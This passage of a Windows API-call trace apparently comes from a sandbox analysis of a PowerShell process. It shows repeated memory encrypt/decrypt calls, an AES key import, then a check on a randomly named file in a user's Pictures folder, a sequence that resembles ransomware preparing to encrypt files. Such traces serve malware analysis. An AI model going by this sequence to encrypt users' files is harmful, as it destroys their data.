(param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0135.365] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.365] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.365] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.365] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.365] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0135.365] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.365] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.365] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.365] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.365] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0135.365] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.365] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.365] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.365] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.366] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0135.366] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.366] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.366] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.366] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.366] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0135.366] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.366] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.366] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.366] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.366] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0135.366] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.366] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.366] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.366] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.366] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0135.366] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.366] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0135.366] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.367] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.367] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.367] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.367] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0135.367] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.367] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.367] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.367] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.367] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0135.367] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.367] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.367] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.367] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.367] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0135.367] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.367] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.367] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.367] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.367] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0135.367] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.367] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.368] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.368] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0135.368] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.368] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.368] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0135.368] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.368] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.368] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0135.368] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.368] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0135.368] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.368] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0135.369] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.369] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.369] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0135.369] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.369] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.369] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0135.369] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.369] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.369] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0135.369] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.369] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.369] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.369] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0135.369] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.370] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.370] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0135.370] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.370] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.370] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0135.370] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.370] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.370] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.370] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.370] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.370] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.370] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.370] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.371] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.371] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.371] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.371] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.371] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.371] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.371] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.372] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e028b0) returned 1 [0135.372] CryptImportKey (in: hProv=0x8e028b0, pbData=0x69cca70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84978) returned 1 [0135.372] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.372] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.372] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.373] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.373] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.374] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\r0b_uofmusfyzx3ho.gif")) returned 0x20 [0135.374] GetFileAttributesW 